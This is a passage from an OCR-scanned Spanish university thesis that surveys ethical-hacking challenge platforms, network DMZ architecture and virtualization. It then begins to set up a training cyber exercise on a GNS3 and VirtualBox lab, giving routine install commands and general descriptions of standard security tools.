al personal que asi lo requiera para poder actuar en el marco de la ciberseguridad o, incluso, motivar e
incentivar mentes para la superacion de retos y ejercicios con la finalidad de hacer del ciberespacio un
lugar mas seguro. En todo momento, estas plataformas tienen un caracter ético para formar, lo que
comUnmente se denomina como ‘hacker ético’: personal con conocimientos de hackactivistas pero con
una finalidad completamente diferente: buscan la mejora de la ciberseguridad.

Para hacer mas atractivo este tipo de plataformas, generalmente cuentan con algun tipo de ranking.
No hay mejor manera de involucrar al personal que cuando se le hace competir unos contra otros por
un puesto en una clasificacion. Cada plataforma tiene sus criterios de puntuacion y valora en funcion
del tiempo invertido y del desafio que se resuelva.
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Muchas de estas plataformas son de caracter publico, en las que cualquiera puede registrarse con
acceso libre y gratuito. Sin embargo, hay otras plataformas exclusivamente de pago para la realizacion
de este tipo de ejercicios, como puede ser la plataforma iPhalanx, perteneciente a Indra [40]. No seran
éstas objeto de andlisis de este apartado, por el simple hecho de que las plataformas gratuitas nos
ofrecen unas capacidades similares sin coste alguno, a pesar de que algunas de las siguientes
plataformas que estudiaremos no sean enteramente publicas.

2.4.1 Atenea

Atenea [11] (véase Figura 2-6) se presento el 13 de diciembre de 2017 [41] y es la plataforma
oficial de desafios de seguridad informatica del CCN-CERT. Estd compuesta de distintos retos que
abarcan diferentes campos como criptografia y esteganografia, exploiting, anélisis forense, networking
y reversing, entre otros. Es gratuita y de caracter publico. Los objetivos que persigue son:

e Concienciar al personal TIC sobre los riesgos de la seguridad informatica.

e Involucrar al personal con experiencia en seguridad TIC.

e Mostrar al publico con menos experiencia en el campo de la ciberseguridad que los retos
son divertidos y que no se trata de una ciencia oculta imposible de comprender.

Como muchas de las plataformas, la resolucion de los ejercicios exige una serie de normas que
deben de cumplirse para conseguir la puntuacion correspondiente de cada reto. En concreto, Atenea
impone las siguientes normas:

e Cada desafio tendrd una puntuacién. Los tres primeros en resolver el reto figuraran en el
panel de puntuaciones con las medallas de oro, plata y bronce, respectivamente. El resto de
concursantes obtendran los puntos correspondientes.

e Si se han consumido todos los intentos para resolver un reto, existe la posibilidad de seguir
intentandolo, pero sin recibir ningun punto.

¢ No estan permitidos los ataques de denegacion de servicio.

e No estan permitidos los escaneos automatizados contra la plataforma.

e No estan permitidos ataques destructivos (no se podra modificar ningun desafio ya que se
perjudicaria el juego de otros jugadores).

e Es preciso mantener el objetivo en los puntos que estan indicados para ello.

e Si aun asi se encuentra una vulnerabilidad en su infraestructura o algun atajo para resolver
un desafio con mayor facilidad; debe informarse de ello. De esta forma se obtendra un
mayor reconocimiento y puntos de bonificacion.

e Las reglas pueden ser cambiadas por los organizadores en el transcurso del desafio.

e En algunas ocasiones, y en funcion del nimero de jugadores y el tiempo utilizado para
resolver un desafio, se podra proporcionar alguna pista adicional.

e Los jugadores que no acepten estas reglas podran ser penalizados o, segun el caso,
expulsados de forma permanente de la plataforma.

A I E N EA il OB Plataforma de desafios de seguridad
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Figura 2-6 Logo de la plataforma Atenea [11]

2.4.2 CTF365

CTF365 [42] (véase Figura 2-7) a diferencia de la plataforma Atenea, no es exclusivamente
gratuita. Para hacer uso de ella hay que registrarse, lo que permite tener acceso a todos los servicios
que se ofrecen durante un total de 30 dias. Una vez cumplido el plazo, la plataforma ofrece diferentes
planes de contratacion [43] con distintos precios:

e Student: 15 $ usuario/mes
Este tipo de contratacion ofrece acceso a todos los servidores de la plataforma.

e Professional: 46 $ usuario/mes

Este tipo de contratacion ofrece acceso a todos los servidores de la plataforma y a
ejercicios que exigen mayor profesionalidad.

e Enterprise: 37 $ usuario/mes

En esta contratacion se tiene acceso a todos los servidores. Ademas, se puede hacer uso
de tres servidores privados virtuales y hay un apartado destinado exclusivamente a ver
las estadisticas de las actividades del grupo de personas que lo haya contratado y otro
destinado a informes personales.

e Corporate: El precio se negocia en el contrato con el colectivo que opte por esta
modalidad.

Este ultimo modelo de contratacion cuenta con todos los privilegios del modo
Enterprise y, a mayores, se afiaden: uso interno de la plataforma, punto de acceso, una
interfaz privada, una red privada de CTF365, una tabla de clasificacion y servicio de
atencion al cliente con disponibilidad las 24 horas.

)
)

Figura 2-7 Logo de la plataforma CTF365 [42]

2.4.3 OverTheWire

OverTheWire [44] (véase Figura 2-8) es una plataforma publica en la que no hay opcién para
registrarse, por lo tanto, no existe un ranking de puntuaciones ni un registro de los retos completados.
Sin embargo, ofrece un servicio de ayuda al publico en uno de sus servidores, por si alguna persona
tuviese dudas o quisiese contactar con los administradores para obtener informacion, por medio de
IRC (Internet Relay Chat) (irc.overthewire.org).

Cada desafio tiene un usuario correspondiente dentro del servidor y para acceder a los retos hay
que hacer uso del protocolo SSH (Secure SHel). La contrasefia del usuario del siguiente reto, y en
consecuencia del siguiente nivel, se encuentra en el reto anterior, de manera que no se puede acceder al
siguiente desafio si no se supera el anterior. Los retos de esta plataforma son, ante todo, instructivos.
Los principales topicos son: seguridad en las webs, programacion, exploiting, vulnerabilidades en
cddigos y reversing, ademas de una serie de ‘juegos’ basados en ciberseguridad.
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Esta plataforma, al ser expresamente gratuita, se sostiene gracias a donaciones de personas que, sin
animo de lucro, realizan donaciones para mantener activa la plataforma [45].

We're hackers, and we are good-looking. We are the 1%.

Figura 2-8 Logo de la plataforma OverTheWire [44]

2.4.4 Hacking-Lab

Hacking-Lab [46] (véase Figura 2-9) es una plataforma en la que el registro y el acceso a los retos
son gratuitos. Sin embargo, cuenta con una opcion de pago de 49 €/afio en la que el usuario pasa a
tener la categoria de miembro de la plataforma. Esta opcidén de pago otorga al usuario una serie de
privilegios como:

e Acceso a eventos especiales.
e Descuentos en eventos de novedad.
e Participacion en el ranking de retos.

Para participar en los retos es necesario tener instalado en el equipo personal VirtualBox o
VMware y cargar en uno de estos programas el LiveCD [47] que se puede descargar en la propia
pagina de Hacking-Lab. El segundo paso seria conectarse a la VPN (Virtual Private Network) de
Hacking-Lab y acceder a la cuenta de registro desde el buscador Mozilla Firefox de la maquina virtual.

Una vez conectados, seria cuestion de escoger un reto, llegar a la solucién correcta, demostrar la
vulnerabilidad y explicarla. Los ejercicios de esta plataforma [48] son variados y estan centrados en
pruebas de penetracion de redes, respuesta a incidentes, analisis forense digital y entrenamientos de
seguridad. Esta plataforma también cuenta con un chat pablico en el que las personas pueden comentar
libremente dudas e intercambiar informacion con otros usuarios.

Figura 2-9 Logo de la plataforma Hacking-Lab [46]

2.4.5 Pwnable.kr

Pwnable.kr [49] (véase Figura 2-10) es una plataforma no comercial que ofrece varios desafios de
pwn (en la jerga del script kiddie, pwn hace referencia a tomar el control de otra computadora, sitios
web, dispositivo de puerta de enlace o aplicacion [50]) con respecto a la explotacién del sistema. El
objetivo principal de esta plataforma es la diversion. A su vez, durante la superacion de retos, una
persona puede aprender/mejorar las habilidades de hackear un sistema.

26


https://www.google.es/url?sa=i&rct=j&q=&esrc=s&source=images&cd=&cad=rja&uact=8&ved=0ahUKEwiU1Ozk1OTYAhXG7RQKHQypD9EQjRwIBw&url=https://codemaxx.github.io/writeups/OverTheWire/Bandit/level13/&psig=AOvVaw1RdnId80eS7yzY32JVGQZJ&ust=1516473113417002
https://www.google.es/url?sa=i&rct=j&q=&esrc=s&source=images&cd=&cad=rja&uact=8&ved=0ahUKEwj33dDgwOLYAhVEVBQKHeEwBNsQjRwIBw&url=https://twitter.com/thehackinglab&psig=AOvVaw1BsLqviPl1MA8fMGOtGpgs&ust=1516399031112265

DISENO E IMPLEMENTACION DE UN CIBEREJERCICIO DE ATAQUE SOBRE UNA
MAQUETA DE MAQUINAS VIRTUALES EN RED

Para llegar a las soluciones de los retos hacen falta algunos conocimientos bésicos de:
programacion, ingenieria inversa, explotacion de errores, conocimiento del sistema y criptografia.
Cada desafio tiene la solucion prevista del autor, sin embargo hay muchas soluciones alternativas. Los
desafios de esta plataforma se dividen en cuatro categorias:

e Toddler’s Bottle: desafios muy simples con errores muy simples.

e Rookies: desafios tipicos de explotacion de errores para novatos.

e Grotesque: estos desafios requieren de una mayor experiencia y conocimientos en el
campo de la informatica.

e Hacker’s Secret: €s el conjunto de desafios de mayor complejidad y para llegar a una
solucidn hace falta aplicar técnicas concretas y especiales de cada campo de la informética.

Esta plataforma tiene un servicio de contacto al administrador como el resto de plataformas con el
fin de obtener mas informacion de la misma. Ademaés ofrece la oportunidad de registrarse y competir
en el ranking de retos de forma totalmente gratuita.

Figura 2-10 Logo de la plataforma Pwnable.kr [49]

24610

10 [51] (véase Figura 2-11) es una plataforma de retos de ciberseguridad que pertenece a los
creadores de netgarage.org. Este fue un proyecto comunitario fundado en 2002 con el objetivo de
compartir conocimientos e intereses acerca de codigos, seguridad, tecnologia, fuentes abiertas,
inteligencia artificial, comercio automatizado, realidad virtual, interfaces informaticas y diversion.

Es también la plataforma principal de los retos de ciberseguridad 10, ya que estos retos no dejan
de actualizarse y existen diferentes versiones de radare2 y gdb tales como 1064, 10arm o 1007, siendo
10 el principal apartado.

Para conectarse al servidor y a los diferentes retos, hay diferentes usuarios: ha de hacerse a traves
del protocolo SSH. Es de caracter gratuito y no ofrece un servicio de registro de usuario, pero como el
resto de plataformas, proporciona un servicio de ayuda a través de IRC (irc.netgarage.org).
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Figura 2-11 Logo de la plataforma 10 [51]

2.4.7 SmashTheStack

SmashTheStack [52] (véase Figura 2-12) es una plataforma de retos de ciberseguridad abierta al
publico y de caracter gratuito, cualquier persona con nuevas ideas 0 retos es bien recibida para
contactar con los administradores. No ofrece servicio de registro y, puesto que es gratuita, esta abierta
a donaciones publicas para poder seguir activa.
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Esta plataforma ofrece nuevamente un servicio de ayuda a través de IRC (irc.smashthestack.org).
Para acceder a los retos ha de accederse a traves del protocolo SSH, ubicadndose cada reto en un
usuario diferente del servidor. A medida que se van obteniendo las respuestas de los diferentes niveles,
se nos proporciona la contrasefia del usuario para realizar el siguiente reto.

SmashTheStack, 10 y OverTheWire [53] son plataformas intimamente ligadas entre si. Las tres
son de carécter gratuito y no ofrecen registro de usuarios. Todas ellas tienen disponibles los retos en
servidores a los cuales hay que acceder a través del protocolo SSH. Ademas, al tratarse de plataformas
publicas, comparten retos y desafios entre ellas, ofreciendo estos servicios al publico.

El tipo de retos de esta plataforma sigue la linea de sus dos compafieras: romper codigos,
programacion, vulnerabilidades de cddigos, seguridad de la web, reversing, exploiting, etc.
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Figura 2-12 Logo de la plataforma SmashTheStack [52]

2.4.8 Microcorruption

Microcorruption [54] es una plataforma en la cual los diferentes retos estan orientados a un unico
juego: encontrar vulnerabilidades en codigos. Este juego es conocido en la web como “Capture the
flag” y consiste en explotar vulnerabilidades de los diferentes sistemas que se le proporcionan al
usuario e ir obteniendo unas claves para abrir “puertas” y llegar asi hasta el tltimo nivel, en el cual el
usuario “captura la bandera”.

Este juego comienza con una dificultad muy baja en el cual cualquier usuario que se registre y
participe, con los conocimientos adquiridos de Wikipedia sabria comenzar a jugar. La propia web
incita a probar el desafio partiendo de conocimientos basicos [55]. El registro es gratuito y, como tal,
esta plataforma tiene a disposicion de quien lo desee un servicio de donacién de dinero.

Ofrece ademas un servicio de ayuda y de obtencion de informacion para cualquiera que lo solicite
mediante: email (support@microcorruption.com), twitter (#uctf @tgbf @nOnstlck) e IRC
(irc.freenode.net #uctf).

2.4.9 Reversing.kr

Reversing.kr [56] es una plataforma gratuita con servicio de registro para cualquier usuario. Esta
especializada en retos acerca del cracking y la ingenieria inversa. A diferencia de otras plataformas,
reversing.kr no tiene retos de actualidad ya que la ultima actualizacion fue en diciembre de 2014, sin
embargo, ofrece la oportunidad de realizar retos especificos de los diferentes sistemas operativos [57].

Su servicio de ayuda se lleva a cabo mediante email: gogil@reversing.kr.
2.4.10 HackThisSite

HackThisSite [58] (véase Figura 2-13) es una plataforma de entrenamiento gratuita, segura y legal
en la que los hackers éticos pueden ampliar sus habilidades en el &mbito de la ciberseguridad. Se trata
también de una comunidad bastante activa con muchos proyectos en desarrollo, con una amplia
seleccion de retos y un foro donde los usuarios pueden hablar sobre topicos de la pirateria informatica,
la seguridad de la red, etc.
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Esta plataforma es una de las plataformas de ciberseguridad con mayor impulso, debido a que la
filosofia de ésta no sigue la linea del resto de plataformas. Mientras la finalidad del resto de
plataformas era incrementar los conocimientos en ciberseguridad y la diversion del usuario,
HackThisSite orienta su pagina a un movimiento contra la injusticia social. Esta plataforma, si bien no
alienta ni participa en actividades ilegales, defiende la pirateria y el hacktivismo como medio de lucha
para combatir la opresion, la desigualdad o la censura. Anima a sus usuarios a compartir esta linea de
pensamiento siempre y cuando se hagan responsables de sus actos. Como dato curioso, el fundador de
esta pagina web, Jeremy Hammond, fue detenido en 2005 por el FBI debido a que un grupo de hackers
pertenecientes a HackThisSite se infiltraron en la base de datos de una organizacién y obtuvieron
informacion de tarjetas de crédito que, posteriormente, se utilizaron para robar dinero y donarlo a una
serie de organizaciones sin a&nimo de lucro [59].

Los retos son disefiados y subidos a esta plataforma por los usuarios mas experimentados, y los
topicos de estos retos son: retos basicos para principiantes, hackeo de aplicaciones, desafios de
esteganografia, vulnerabilidades de JavaScript, programacién, exploiting, etc.

Para contactar con los administradores de la plataforma se puede hacer por mail
(irc@hackthissite.org). Esta pagina web no solo dispone de una plataforma para actividades de
hacking, sino que también cuenta con servicios como una tienda online, destinada a la venta de ropa o
articulos de adorno.

Figura 2-13 Logo de la plataforma HackThisSite [58]

2.4.11 W3Challs

W3Challs [60] es una plataforma de entrenamiento de pruebas de penetracién que aparecio en
mayo de 2009, pero fue en junio de 2010 cuando comenzd a funcionar. Ofrece varios desafios
informéticos relacionados con la seguridad: pirateria, crackeo, andlisis forense, criptografia,
esteganografia y programacion.

El objetivo de esta plataforma es ofrecer desafios realistas sin simulacion. Ofrece la oportunidad
de probar las habilidades de hacking resolviendo los retos e incluso reta al usuario a hackear la propia
plataforma. Sin embargo, acciones como fuerza bruta o ataques de denegacién de servicio estan
prohibidos.

Para acceder a los desafios hay que registrarse como usuario gratuitamente. Es una plataforma
publica y no cuenta con servicio de pago. Esta es una plataforma que, nuevamente, establece un
ranking y una valoracion de puntos en funcion de los desafios que se hayan completado. Al igual que
el resto de plataformas gratuitas, esta web estd abierta a todo tipo de sugerencias y retos que los
usuarios se presten a proporcionar.

El servicio de ayuda establecido es mediante mail (awe@w3challs.com).

2.5 Arquitectura de las redes

La arquitectura de una red consiste en el disefio de una red de comunicaciones y, en funcion de
ello, se define el grado de seguridad de dicha red. Calificaremos como red segura a aquella cuya
exposicion a Internet sea minima y, por el contrario, como red expuesta y vulnerable a aquella que se
encuentre directamente en Internet. El elemento que definira la relacion entre una red e Internet se
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denominara firewall. Mas concretamente, este firewall es la parte del sistema de una red que blogquea
los accesos no autorizados y permite las comunicaciones autorizadas.

Por lo general, las redes de las empresas se estructuran segun tres partes: Internet, DMZ
(DeMilitarized Zone) e intranet. Estas redes deben, por un lado, estar seguras de las ciberamenazas que
se encuentran en el exterior, entendiendo éste como la zona de Internet, y por otro lado, deben ofrecer
servicios al publico a los que se puedan acceder desde el exterior. A continuacion se explicara en mas
detalle como funciona este tipo de arquitectura de red:

Internet: entendiendo el firewall como el limite de una red privada, Internet es todo aquello que
hay de puertas a fuera a partir de dicho firewall, siempre y cuando éste se encargue de hacer un filtrado
de IP’s del exterior que se disponen a entrar en nuestra red privada.

DMZ: es una zona insegura gque se encuentra entre Internet e intranet, perteneciendo a la seccion
de la red privada (recordemos que el firewall dividia en dos secciones: Internet e Intranet). En esta
zona insegura es donde se sittan los diferentes servicios de la red privada que estan a disposicion del
publico [61].

Intranet: ésta es la base de la red privada. En ella se encuentran los equipos conectados y debe ser
una zona aislada de Internet mediante el firewall.

La configuracion mas comun es la que se puede observar en la Figura 2-14, pero hay otras
posibilidades de arquitectura de red en las que se aisla la DMZ con el router y la intranet con el
firewall, o casos en los que se hace uso de dos firewalls, uno para aislar la DMZ y otro para aislar la
intranet.

Intranet DMZ

(LAN)

FIREWALL
‘ g
Router (WAN)

Figura 2-14 Arquitectura de red estandar [62]

2.6 Virtualizacion

En informatica, llamamaos virtualizacion a la version virtual de algln recurso tecnoldgico, ya sea
un sistema operativo, una plataforma de hardware, un dispositivo de almacenamiento, la simulacion de
una red, etc. Explicado de otra forma, puede decirse que la virtualizacion es la abstraccion de los
recursos de una computadora de manera que se cree una capa entre el hardware de la maquina fisica y
el sistema operativo de la maquina virtual [63].

Dentro de la virtualizacion, existen diferentes formas para hacer uso de ella: virtualizar el
hardware del servidor, virtualizar el software del servidor, virtualizar aplicaciones y, el concepto que
mayor interés tendrd para este proyecto, crear maquinas virtuales y redes. Esto se debe a que la
implementacién y disefio del ataque de ciberdefensa que se desarrollara posteriormente, se hara sobre
una serie de maquinas virtuales en una red privada.
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Dentro de las ventajas que ofrece la virtualizacion, podemos destacar:

e Optimizar y reutilizar el hardware existente de una maquina.

e Reducir costes de espacio y consumo en proporcion a lo que una méaquina fisica nos
demandaria.

e Administracion global centralizada y simplificada.

e Mayor facilidad para la creacion de entornos de test que permiten poner en marcha nuevas
aplicaciones sin impactar a la produccion, agilizando el proceso de las pruebas.

e Aislamiento: un fallo general de sistema de una maquina virtual no afecta al resto de
maquinas virtuales.

e Reduce los tiempos de parada.

e Migracién de maquinas virtuales de un servidor a otro sin pérdida de servicio, eliminando
asi paradas planificadas debido al mantenimiento de un servidor.

e Contribucién al medio ambiente por menor consumo de energia en servidores fisicos.

En relacion con este trabajo, la virtualizacion ha supuesto un avance en el concepto de
ciberataques y ciberseguridad. Cuando antes estas practicas debian llevarse a cabo en redes y equipos
reales, cualquier incidente o problema tenia repercusiones importantes, por lo que ninguna empresa
queria prestarse voluntaria para realizar estas practicas sobre sus equipos. Con la innovacion de la
virtualizacion, esto ya no supuso un problema. Como se ha comprobado en la seccién 2.4, la gran
mayoria de plataformas para practicar ejercicios de pentesting cuentan con servidores virtuales, donde
la mayor amenaza que puede haber es que un ciberataque haga caer el servidor virtual, sin suponer esto
grandes problemas.

Dentro del software de virtualizacion, podemos destacar los siguientes programas: VirtualBox,
KVM, XEN y VMware vSphere Essentials. Para una revision detallada de estos programas, remitimos
al capitulo 2 del TFG del Tte Romero Fernandez [12].

A continuacion veremos algunas de las caracteristicas de VirtualBox, ya que es este software sobre
el que implementaremos la maqueta de maquinas virtuales en red y sobre el que trabajaremos.

2.6.1 VirtualBox

VirtualBox [64] es un software gratuito destinado a la virtualizacion que trabaja como una
aplicacién mas dentro de un hardware real con su propio sistema operativo. La principal caracteristica
de este tipo de hipervisores es la no interactuacion entre los sistemas operativos de las maquinas
virtuales y el hardware de la maquina real, consiguiendo ademas un completo aislamiento entre las
maquinas virtuales. Los sistemas operativos que puede soportar VirtualBox son: Windows, Linux,
Solaris OS y Mac OS.

VirtualBox no tiene capacidad limite para soportar maquinas virtuales. La Unica restriccion que
tiene es la potencia del cliente que esté ejecutando dicha aplicacion, siendo éste el factor condicionante
del rendimiento del software.
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3 DISENO Y DESARROLLO DEL CIBEREJERCICIO

3.1 Introduccién

En este capitulo se disefiard e implementara un ciberejercicio de ataque que tiene por finalidad
adiestrar a quien lo ejecute en determinadas técnicas que describiremos méas adelante. Para hacer mas
atractiva la ejecucion del ejercicio, hemos decidido ambientarlo en el yihadismo ya que se trata de un
tema de actualidad. Dicho de otro modo, el ciberejercicio consistira en localizar una red yihadista a
partir del estudio de una web de una ferreteria online. Una vez localizada dicha red, deberemos ir
infiltrandonos, empezando por el control de uno de los servidores de la DMZ y terminando con el
acceso del usuario administrador de la red local. En la cuenta de este Gltimo usuario, encontraremos
informacidn clasificada de la que podremos extraer un plan de un atentado terrorista.

3.1.1 Ciberejercicio

El ciberejercicio se disefiara e implementara sobre una maqueta de maquinas virtuales en red [12]
ya disefiada y estructurada, resultado del TFG del Tte. Romero Fernandez. Este escenario virtual nos
permitira actuar en un entorno controlado el cual iremos modelando en funcion de la dificultad que
queramos establecer en dicho ciberejercicio. La idea es crear un escenario en el cual obliguemos al
alumno que realice el ciberejercicio a familiarizarse con algunos de los diferentes campos de la
ciberseguridad. Por ello, a lo largo del proximo ciberejercicio se tratardn diversos temas como: la
esteganografia, el estudio de paquetes de red, ataques de fuerza bruta, la importancia de la ingenieria
social, etc. En la Figura 3-1 se puede ver a rasgos generales los pasos que el alumno debera seguir
durante el ciberejercicio.
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FIREWALL

LAN

Figura 3-1 Acceso a la DMZ

Tras proporcionarle al alumno la entrada a la DMZ desde el exterior, se le ird guiando para acceder
a la red LAN de la maqueta. Para ello, como muestra la Figura 3-2, debera modificar el firewall de la
red.

FIREWALL

LAN

Figura 3-2 Modificacion del firewall

Una vez las reglas del firewall sean modificadas, como se ve en la Figura 3-3, el alumno debera
conseguir introducirse en uno de los equipos de la red LAN y obtener la informacion que necesita.
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FIREWALL

Figura 3-3 Acceso a la LAN

El nivel de dificultad del ciberejercicio se categorizara como un nivel medio/bajo destinado a
personal con pocos conocimientos informaticos.

3.2 Herramientas del entorno hardware

3.2.1 Ordenador portatil (estacion de trabajo)

Como se puede ver en la Figura 3-4, se trata de un ordenador portétil de la marca Lenovo desde el
cual trabajaremos en el disefio del ciberejercicio. A través de este ordenador nos conectaremos al
servidor donde se encuentra cargada la arquitectura de red de nuestra maqueta virtual, la cual
controlaremos desde nuestra estacion de trabajo. No es necesario utilizar un ordenador de elevadas
prestaciones.

Las caracteristicas de esta maguina son:

e Ordenador portatil: Lenovo 80EW

e Procesador: Intel® Core™ i3-5010U CPU @ 2.10GHz, 2100 MHz, 2 procesadores
principales, 4 procesadores 16gicos.

e Memoria RAM: 4,00 GB

e Tarjeta grafica: Intel® HD Graphics 5500 2GB

Figura 3-4 Ordenador Lenovo [65]
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3.2.2 Ordenador portatil (analisis de seguridad)

Para la comprobacion del ciberejercicio disefiado, se utilizard un ordenador que cubra las
necesidades de un usuario medio. Este es un ordenador de la gama HP. Algunas de sus caracteristicas
son:

Ordenador portéatil: HP EliteBook 8470p

Procesador: Intel® Core™ j5-3210M CPU @ 2.50GHz, 2500 MHz x 4
Memoria RAM: 4,00 GB

Tarjeta gréafica: Intel® 32 gen. Core™ processor Graphics Controller

3.2.3 Servidor

Como se aprecia en la Figura 3-5, el servidor es la plataforma fisica a través de la cual
trabajaremos. El servidor deberd tener la suficiente capacidad para poder ejecutar todas las maquinas
virtuales que compongan nuestra maqueta virtual de simulacion de red. En este caso, se tratard del
servidor Dell Poweredge R530.

Este servidor se encuentra en la sala de servidores del CUD (Centro Universitario de la Defensa).
Su conexion a la red se ha realizado mediantes dos de sus interfaces: una conectada a la red publica y
otra, identificada como LABORATORIOS, conectada a la red local del CUD. Este servidor se llama
dunquerque y su dominio es dunquerque.cud.uvigo.es.

Sus especificaciones son las siguientes:
Procesador: Intel Xeon E5-2620v3

e 12 procesadores l6gicos (6 nucleos fisicos)
e Velocidad de reloj 2,4 GHz
e Caché: 15 MB

Memoria RAM: 16 GB DDR4
Disco duro:

e 2x SAS 300GB (RAID 1)
e 2xSATA1TB (RAID 1)

4 Adaptadores de red Gigabit Ethernet

Figura 3-5 Servidor dunquerque [12]

3.3 Herramientas del entorno software
3.3.1 Ordenador portatil (estacion de trabajo)

Actualmente, la estacion de trabajo personal tiene creada una particion del disco duro en la que se
han instalado dos sistemas operativos. En una de ellas, se encuentra el sistema operativo del ordenador
por defecto, Windows 10, y en la otra particion, se encuentra instalada una distribucion de Linux, en
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concreto Ubuntu 16.04. Este ultimo sistema operativo sera el utilizado para interactuar con la maqueta
virtual y con el que se trabajara.

3.3.1.1 VirtualBox

VirtualBox [64] (ver Figura 3-6) serd el software utilizado para la simulacion tanto de las
maquinas de la red virtual como de las maquinas que crearemos en nuestro cliente para después
incorporarlas a la maqueta virtual. Se ha elegido este software porque es el utilizado por las maquinas
que conforman la arquitectura de red virtual.

Para su instalacion simplemente deberemos escribir en el terminal lo siguiente:
$ sudo apt-get install virtualbox
La version de VirtualBox con la que trabajaremos seré la version 5.2.6.

Oracle VM VirtualBox Administrador 1 E P = o) 1517 &

3 f =
5 }"‘:} : @ Detalles
Nueva

iBienvenido a VirtualBox!

La parte izquierda de esta ventana estd destinada a mostrar la lista de maquinas virtuales de su computadora. Esta lista esta vacia
porque todavia no ha creado ninguna maquina virtual. ¥ -

Para crear una nueva maquina virtual presione el botén Nueva en la barra de herramientas principal > '\
localizada en la parte superior de la ventana.

Puede utilizar la tecla F1 para obtener ayuda o visitar www.virtualbox.org para las dltimas novedades e ._f'

informacion. |
A

D DB S M

Figura 3-6 Inicio de VirtualBox

3.3.1.2 GNS3

GNS3 [66] es un simulador grafico de red que permite disefiar topologias de red complejas y poner
en marcha simulaciones sobre ellas.

Para instalar GNS3, deberemos adaptarnos a la versién de GNS3 que se encuentra instalada ya en
el servidor dunquerque. En este caso, instalaremos la versién 1.4.0. Para ello deberemos instalar
primero un nuevo repositorio.

$ sudo apt-get install python3-pip
Y seguidamente instalaremos los paquetes de GNS3.
$ sudo pip3 install gns3-gui==1.4.0

3.3.1.3 KRDC

KRDC [67] (ver Figura 3-7) nos permitira trabajar por escritorio remoto tanto con el servidor
dunquerque como con las maquinas virtuales. Este método de trabajo podria llevarse a cabo mediante
una conexién SSH y el comando —X, el cual nos ofreceria una interfaz grafica de la conexion. Sin
embargo, debido a prestaciones de velocidad del servicio, utilizaremos KRDC (KDE Remote Desktop
Connection). Se instalara desde la linea de comandos.

$ sudo apt-get install krdc
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KDE Remote Desktop Client i

Enter or select the address of the desktop you would like to connect to.

Connect to: |rdp * [tfg@dunquerque.cud.uvigo:PUERTOl dl o

Type an IP or DNS Name here. Clear the line to get a list of connection methods.
Remote Desktop Last Connected v cares Suree

o g e Ji PR o

Figura 3-7 KRDC

3.3.1.4 Filezilla

Filezilla [68] sera utilizado para la transferencia de archivos entre las maquinas virtuales/servidor
dunquerque con nuestra estacion de trabajo. Lo utilizaremos principalmente para transferir maguinas
virtuales entre el servidor y el cliente y para transferir a nuestra estacion de trabajo la arquitectura de
red, ya que este proyecto es necesario abrirlo con GNS3-cliente para cargar la arquitectura de red. Lo
instalaremos desde el propio repositorio de Ubuntu.

$ sudo apt-get install filezilla
3.3.1.5 SSH

SSH [69] es utilizado para conectarse a un servidor de forma remota de manera segura. Permite el
control del servidor mediante un intérprete de comandos y trabaja en el puerto TCP 22 por defecto.
Ademas nos permite copiar datos de forma segura, gestionar claves RSA (River, Shamir, Adleman) y
redirigir el trafico para poder ejecutar programas graficos de manera remota. Se puede instalar desde el
repositorio de Ubuntu mediante el siguiente comando.

$ sudo apt-get install ssh
3.3.2 Ordenador portatil (analisis de seguridad)

Este ordenador tiene instalado como sistema operativo la version 2018.1 de Kali Linux. Este
sistema operativo esta orientado al uso de herramientas que estudian la ciberseguridad. Dentro de las
herramientas de este software, nosotros utilizaremos Nmap, Hydra, Wireshark, Wpscan y Websploit.

Nmap (Zenmap la version gréfica) [70] es una herramienta que permite a un usuario escanear los
equipos de una red y asi obtener informacion sobre estos, concretamente informacién sobre los puertos
y los servicios activos en dichos equipos. Para ello, Nmap envia paquetes definidos a otros equipos y
analiza sus respuestas. Este software posee varias funciones para sondear redes de ordenadores,
incluyendo deteccion de equipos, servicios y sistemas operativos.

Hydra [71] es una herramienta destinada a la fuerza bruta. Permite el uso de diccionarios que, a
base de prueba y error, descifran los usuarios y las claves de diferentes servicios.

Wireshark [72] es una herramienta utilizada para realizar analisis y solucionar problemas en redes
de comunicaciones, para el desarrollo de software y protocolos, y como herramienta didactica. Cuenta
con las caracteristicas de un analizador de protocolos y permite filtrar y organizar la informacion
capturada. De este modo, permite ver todo el trafico que pasa a través de una red, estableciendo la
configuracion de la interfaz de red en modo promiscuo.
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Whpscan [73] es una herramienta especializada para escanear paginas web sobre Wordpress. Define
la version utilizada de Wordpress y las vulnerabilidades a las que estd expuesta la web. También
incluye un modulo de fuerza bruta para hacer frente a la interfaz de administracion de Wordpress.

Websploit [74] es una herramienta dedicada a la explotacion de vulnerabilidades y ataques en red.
Contiene un total de dieciséis mddulos divididos en modulos web, red, explotacion y wifi. Para la
utilizacion de esta herramienta solo es necesario cargar el mddulo deseado, introducir los parametros
necesarios y ejecutar la accion.

3.3.3 Servidor

En el servidor dunquerque se encuentra instalado un sistema operativo Linux, en concreto la
distribucion Ubuntu Server 14.04 LTS. Este sistema operativo es gratuito y se puede descargar
directamente de la pagina oficial de Linux [75].

Este sistema operativo no dispone de entorno grafico por defecto, por lo que posteriormente a su
instalacion, se llevo a cabo la instalacion de un conjunto de software llamado Xfce, que proporciona un
sistema de ventanas y escritorio completo. Ademas, también fue configurada la herramienta xrdp para
que el servidor pueda ser gestionado desde el protocolo de escritorio remoto RDP (Remote Desktop
Protocol).

Se encuentra instalado también el software GNS3-server. En el proximo apartado explicaremos el
método de trabajo para enlazar GNS3-cliente y GNS3-server.

3.4 Puesta en funcionamiento de la maqueta

3.4.1 GNS3

En el servidor dunquerque se encuentra disponible la maqueta de redes virtuales sobre la que
crearemos nuestro escenario para el disefio del ciberejercicio. Para ejecutar la maqueta, sera necesario
ejecutar GNS3-cliente en nuestro ordenador personal con la arquitectura de red y las maquinas
virtuales de la maqueta, y GNS3-server, que se encontrara instalado en el servidor dunquerque y sera
el encargado de ejecutar la maqueta. De esta manera conseguiremos ejecutar la arquitectura de red
sobre el servidor dunquerque en el que se encuentran las maquinas virtuales controlandola desde
nuestra estacion de trabajo.

Para poder realizar este proceso, primero deberemos configurar el GNS3-cliente y enlazarlo con el
GNS3-server del servidor. De esta manera, podremos controlar la arquitectura de red. Para que GNS3-
server esté a la escucha en el puerto 8000 del servidor dunguerque, deberemos inicializarlo con el
comando:

$ gns3server

Si no quisiésemos iniciarlo cada vez que cerrasemos la conexion, podriamos inicializar GNS3-
server como demonio y el comando disown:

$ gns3server —daemon disown

A continuacién, veremos como es el proceso para enlazarlo con el GNS3 del servidor. Lo primero
